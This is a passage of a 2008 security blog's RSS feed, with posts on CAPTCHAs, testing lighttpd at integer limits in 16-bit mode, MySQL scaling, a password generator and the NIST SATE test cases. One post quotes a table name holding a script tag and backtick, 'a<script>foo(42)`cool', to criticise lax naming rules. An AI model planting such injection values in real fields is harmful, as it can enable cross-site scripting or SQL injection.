&lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=qDdSm5ZD"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=uqFbmVPx"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=uqFbmVPx" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=Oq755hKp"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=Oq755hKp" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=WDWP0P76"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=if1Y2VlS"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=52" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=6WydAgHE"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=6WydAgHE" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=0sPiEIFy"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=129" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DeepInsideSecurityTools/~4/QfwE8qW2rlI" height="1" width="1"/&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/05/14/Static-Analysis-Tool-Exposition-is-over#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/05/14/Static-Analysis-Tool-Exposition-is-over#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/113</wfw:commentRss>
      <feedburner:origLink>http://rgaucher.info/post/2008/05/14/Static-Analysis-Tool-Exposition-is-over</feedburner:origLink></item>
    
  <item>
    <title>Oh please stop it with these ridiculous CAPTCHAs!</title>
    <link>http://feedproxy.google.com/~r/DeepInsideSecurityTools/~3/AY1oNnk8QNY/Oh-please-stop-it-with-these-ridiculous-CAPTCHAs</link>
    <guid isPermaLink="false">urn:md5:613044eedcfeb99c7853ef4d16444e75</guid>
    <pubDate>Sat, 10 May 2008 11:30:00 -0400</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Discussion</category>
        <category>Bahhhh</category><category>CAPTCHA</category>    
    <description>&lt;p&gt;&lt;a href="http://www.tssci-security.com/"&gt;Marcin&lt;/a&gt; just told me about that stupid &lt;a href="http://en.wikipedia.org/wiki/CAPTCHA"&gt;CAPTCHA
&lt;/a&gt; from the rapidshare website. Even if I think this is made explicitly to annoy people (this &lt;a href="http://en.wikipedia.org/wiki/CAPTCHA"&gt;CAPTCHA
&lt;/a&gt; is used only for free accounts) this is just stupid.&lt;/p&gt;


&lt;p&gt;Can you really tell which letter has cat or not? I'm sorry but I can't!&lt;/p&gt;


&lt;p&gt;&lt;img src="http://rgaucher.info/pub/rapidshare_cats.png" alt="" /&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=vT5Hoazr"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=zB7R8cix"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=zB7R8cix" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=F0AdLUt9"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=F0AdLUt9" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=nxLiBZeV"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=YEPBAfQS"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=52" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=4Ifzsf63"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=4Ifzsf63" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=MeE7LPLo"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=129" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DeepInsideSecurityTools/~4/AY1oNnk8QNY" height="1" width="1"/&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/05/10/Oh-please-stop-it-with-these-ridiculous-CAPTCHAs#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/05/10/Oh-please-stop-it-with-these-ridiculous-CAPTCHAs#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/112</wfw:commentRss>
      <feedburner:origLink>http://rgaucher.info/post/2008/05/10/Oh-please-stop-it-with-these-ridiculous-CAPTCHAs</feedburner:origLink></item>
    
  <item>
    <title>Accelerate the convergence to the bug: Running the test in 16-bit</title>
    <link>http://feedproxy.google.com/~r/DeepInsideSecurityTools/~3/WLWCuyBcsPM/Testing-software-in-16-bit-mode</link>
    <guid isPermaLink="false">urn:md5:6652d584a44a89f6b51435acd74dc800</guid>
    <pubDate>Thu, 01 May 2008 09:59:00 -0400</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Tech</category>
            
    <description>&lt;p&gt;Yesterday, I came across a case in a piece of software which was really hard for me to understand perfectly. Not only the code is well written (which is always worse for finding bugs :)) but the structure is also well thought (this is the implementation of an associated array in C in the lighttpd application).&lt;/p&gt;


&lt;p&gt;The problem I had was to state whether a tool report was a true-positive/false-positive. So, as in many case I've seen in this software a problem may occur only in the limit cases. This one may occur after &lt;a href="http://en.wikipedia.org/wiki/Limits.h" hreflang="en"&gt;INT_MAX&lt;/a&gt; insertion in the structure. I don't know if one of you ever tried to do such a thing, but only INT_MAX (~2 billions on typical PC) allocations is a lot, so inserting elements in a structure that needs at least 5 (re)allocations is too much. But well, I did it. Also, I ran this test with &lt;a href="http://valgrind.org/" hreflang="en"&gt;valgrind&lt;/a&gt; using the memory leak check (full check and high definition).&lt;/p&gt;


&lt;p&gt;I then ran a simple test program to fill this structure in a real condition: a typical x86/32-bit architecture. As I knew it was stupid and didn't even think this could end before 2 days I started looking in other direction in order to reduce the &lt;code&gt;INT_MAX&lt;/code&gt; size for having a reasonable time execution of the test.&lt;/p&gt;



&lt;p&gt;&lt;br /&gt;&lt;/p&gt;



&lt;p&gt;My first attempt is to shift all the types that are used, I knew this was not perfect because even if I can force my program to use &lt;code&gt;unsigned short&lt;/code&gt; instead of &lt;code&gt;size_t&lt;/code&gt;, I wouldn't change the size of the pointers, a &lt;code&gt;char *&lt;/code&gt; would still b 32-bit (there may be some options in gcc to control the size of the pointers — which I doubt — but I didn't find any).
Using this methodology, I was able to make the program crash in the way that would have been a real true-positive.&lt;/p&gt;


&lt;p&gt;&lt;br /&gt;&lt;/p&gt;




&lt;p&gt;But as I knew it was not good since the size of the pointers are not modified and I had the feeling that in that particular structure, the case of the possible crash is handled by itself (due to pointer and type limits), I started looking in other direction for running that program in 16-bit, a pseudo-real-16-bit-mode. I then started looking into emulators and how to compile code for 16-bits and running it on my linux (x86/32-bit).
After having issues compiling and running the test program with the &lt;a href="http://www.gnu-m68hc11.org" hreflang="en"&gt;gnu-m68hc11 ELF&lt;/a&gt; package, I found the &lt;a href="http://elks.sourceforge.net/" hreflang="en"&gt;bcc/elksemu&lt;/a&gt; stuff.
After compiling and running with ELKS utilities, the test program didn't crash, it only failed in an assertion test after an allocation...&lt;/p&gt;



&lt;p&gt;&lt;br /&gt;&lt;/p&gt;



&lt;p&gt;Different behavior, with different methods, okay... which is the correct one? Is it a problem of pointer size that made the test running differently than the real program on a 32-bit or maybe a limitation of the elksemu machine?
As this morning I checked the state of the 32-bit run I launched yesterday, and this was finished... ended by a failed assertion.&lt;/p&gt;


&lt;p&gt;As expected, pointer size matters when you wanna test on intrinsic limitations of a structure and its behavior using limit cases.&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=br2jk28j"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=eEfHD8om"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=eEfHD8om" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=ioZlWawv"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=ioZlWawv" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=oeaMRlNe"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=6V0ons6N"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=52" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=Ct7Z2rPW"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=Ct7Z2rPW" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=wuivymIv"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=129" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DeepInsideSecurityTools/~4/WLWCuyBcsPM" height="1" width="1"/&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/05/01/Testing-software-in-16-bit-mode#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/05/01/Testing-software-in-16-bit-mode#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/111</wfw:commentRss>
      <feedburner:origLink>http://rgaucher.info/post/2008/05/01/Testing-software-in-16-bit-mode</feedburner:origLink></item>
    
  <item>
    <title>Scaling MySQL db</title>
    <link>http://feedproxy.google.com/~r/DeepInsideSecurityTools/~3/cyzJRxBpD1I/Scaling-MySQL-db</link>
    <guid isPermaLink="false">urn:md5:fb60a05e7e0f51a5cf7f59cd9d9d36ec</guid>
    <pubDate>Mon, 28 Apr 2008 09:03:00 -0400</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Stuffs</category>
        <category>MySQL</category><category>Scaling</category>    
    <description>&lt;p&gt;I've just came across this interesting blog entry; some numbers on how people (large websites companies) are actually using MySQL.&lt;/p&gt;


&lt;p&gt;&lt;a href="http://venublog.com/2008/04/16/notes-from-scaling-mysql-up-or-out/" hreflang="en"&gt;http://venublog.com/2008/04/16/notes-from-scaling-mysql-up-or-out/&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=aRSnBtDm"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=GIeicFUI"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=GIeicFUI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=6jTnHiSE"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=6jTnHiSE" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=E1XFB8CO"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=4fstE2AA"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=52" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=oJSqZLYi"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=oJSqZLYi" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=QpKoHFkz"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=129" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DeepInsideSecurityTools/~4/cyzJRxBpD1I" height="1" width="1"/&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/04/28/Scaling-MySQL-db#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/04/28/Scaling-MySQL-db#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/110</wfw:commentRss>
      <feedburner:origLink>http://rgaucher.info/post/2008/04/28/Scaling-MySQL-db</feedburner:origLink></item>
    
  <item>
    <title>MySQL table/field names</title>
    <link>http://feedproxy.google.com/~r/DeepInsideSecurityTools/~3/1pjT7SLSJ-g/field-names</link>
    <guid isPermaLink="false">urn:md5:733953e29e70d1e2c5ffa14e8fe5d613</guid>
    <pubDate>Tue, 08 Apr 2008 21:45:00 -0400</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Stuffs</category>
        <category>MySQL</category><category>SQL Injection</category><category>XSS</category>    
    <description>&lt;p&gt;Sometimes I really don't understand developers.&lt;/p&gt;


&lt;p&gt;Why the heck a table name such as &lt;code&gt;a&amp;lt;script&amp;gt;foo(42)`cool&lt;/code&gt; could ever be allowed? What's the point of that?
I know I am almost clueless with SQL but... what's the reason here? If someone has some idea, I would love to hear them!&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=hP5ufs9Y"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=kSxSPVkF"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=kSxSPVkF" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=VaIuPY8S"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=VaIuPY8S" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=nfYEu8rY"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=YjSjgsQG"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=52" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=cbAZCJ53"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=cbAZCJ53" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=uoItjQrp"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=129" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DeepInsideSecurityTools/~4/1pjT7SLSJ-g" height="1" width="1"/&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/04/08/MySQL-table/field-names#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/04/08/MySQL-table/field-names#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/108</wfw:commentRss>
      <feedburner:origLink>http://rgaucher.info/post/2008/04/08/MySQL-table/field-names</feedburner:origLink></item>
    
  <item>
    <title>Untrusted websites passwords</title>
    <link>http://feedproxy.google.com/~r/DeepInsideSecurityTools/~3/b8wVPTKsaNQ/Untrusted-websites-passwords</link>
    <guid isPermaLink="false">urn:md5:c14f07a6e8312bb4679053b12da6ca5f</guid>
    <pubDate>Mon, 17 Mar 2008 13:31:00 -0400</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Tech</category>
            
    <description>&lt;p&gt;After using different password, it's really bothering to have lots of diversity; you need to remember them or well, store them in a password.txt&lt;/p&gt;


&lt;p&gt;I just made a simple script for my own in order, from mostly the same password, to generate different ones for different websites... This is not that big deal, just a simple script to do that, but I thought it could have been useful for some of you...&lt;/p&gt;



&lt;p&gt;You can reach the script here: &lt;a href="http://rgaucher.info/beta/pass.php" hreflang="en"&gt;Untrusted websites passwords creator&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=ChbXS9JI"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=F5D3XekW"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=F5D3XekW" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=xUPpGKqZ"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=xUPpGKqZ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=om81UvaY"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=eXoz8Ko2"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=52" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=BRAwymIN"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=BRAwymIN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=YrYKRKIs"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=129" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DeepInsideSecurityTools/~4/b8wVPTKsaNQ" height="1" width="1"/&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/03/17/Untrusted-websites-passwords#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/03/17/Untrusted-websites-passwords#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/107</wfw:commentRss>
      <feedburner:origLink>http://rgaucher.info/post/2008/03/17/Untrusted-websites-passwords</feedburner:origLink></item>
    
  <item>
    <title>NIST SATE step 3 completed: test cases information release</title>
    <link>http://feedproxy.google.com/~r/DeepInsideSecurityTools/~3/MCMn2ytdCio/NIST-SATE-step-3-completed</link>
    <guid isPermaLink="false">urn:md5:0dd19157430db6e5a969554e80815000</guid>
    <pubDate>Fri, 29 Feb 2008 22:55:00 -0500</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Information</category>
        <category>SATE</category><category>source code scanners</category><category>static analysis</category><category>Vulnerabilities</category>    
    <description>&lt;p&gt;This evening at work, with Vadim, we were exhausted after days of work but
we were smiling. Smiling and happy because we knew that the step 3 of &lt;a href="http://samate.nist.gov/index.php/SATE" hreflang="en"&gt;SATE&lt;/a&gt; was pretty much
done. The &lt;a href="http://samate.nist.gov/index.php/SATE#Step_3_Participants_run_their_tool_on_the_test_set.28s.29_and_return_their_report.28s.29_.28by_29_Feb_2008.29" hreflang="en"&gt;step 3&lt;/a&gt; is when all the participants are sending their output
to us. Even if we know that we will have hard time to come up with the master
reference list for each test cases what we selected for SATE 2008, we know that
this is interesting data for the SwA community and especially SCA studies.&lt;/p&gt;
&lt;p&gt;Today, we can finally tell which test cases were selected by us for SATE
2008. First of all, we have 2 different tracks: C language and Java language.
For the java track, we decided to look more into web applications. We then
have:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.dspace.org" hreflang="en"&gt;DSpace&lt;/a&gt;: content
management system&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.mvnforum.com" hreflang="en"&gt;mvnForum&lt;/a&gt;: forum&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.opennms.org/" hreflang="en"&gt;OpenNMS&lt;/a&gt;: network
management system&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And for the C track we selected:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.nagios.org" hreflang="en"&gt;Nagios&lt;/a&gt;: host, service and
network monitoring with web interface (using CGI)&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.lighttpd.net" hreflang="en"&gt;Lighttpd&lt;/a&gt;: web
server&lt;/li&gt;
&lt;li&gt;&lt;a href="http://naim.n.ml.org" hreflang="en"&gt;Naim&lt;/a&gt;: console instant
messenger&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You may have lots of comments on why these and I am totally ready to answer
your questions. Just to let you know, during the selection phase, we reviewed
50+ different applications. For each applications, we had to scan them using
tools, doing some manual review and our main goal is to find at least one
exploitable vulnerability. Concerning the type of test cases themselves, the
constrain is to have real exploitable vulnerabilities and they must be real
applications which means basically, not test cases that we have in our &lt;a href="http://samate.nist.gov/SRD/" hreflang="en"&gt;SRD&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Just as reminder, the next important dates for SATE 2008 are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;April 15, we are distributing to the participants our master reference
list, the list of &lt;strong&gt;real weaknesses&lt;/strong&gt; found by the
participants&lt;/li&gt;
&lt;li&gt;June, comparison of all the participants results, the participants get all
the reports submitted at SATE 2008&lt;/li&gt;
&lt;li&gt;December, all the data and reports are public&lt;/li&gt;
&lt;/ul&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=8vFQIUBn"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=Q6Eqv5Xm"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=Q6Eqv5Xm" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=VeMW6PCA"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=VeMW6PCA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=Fzk2pIch"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=g9zVUXgU"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=52" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=WMGGcIWy"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?i=WMGGcIWy" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?a=vz3lEU0a"&gt;&lt;img src="http://feeds.feedburner.com/~f/DeepInsideSecurityTools?d=129" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DeepInsideSecurityTools/~4/MCMn2ytdCio" height="1" width="1"/&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/02/29/NIST-SATE-step-3-completed#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/02/29/NIST-SATE-step-3-completed#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/106</wfw:commentRss>
      <feedburner:origLink>http://rgaucher.info/post/2008/02/29/NIST-SATE-step-3-completed</feedburner:origLink></item>
    
</channel>
</rss>
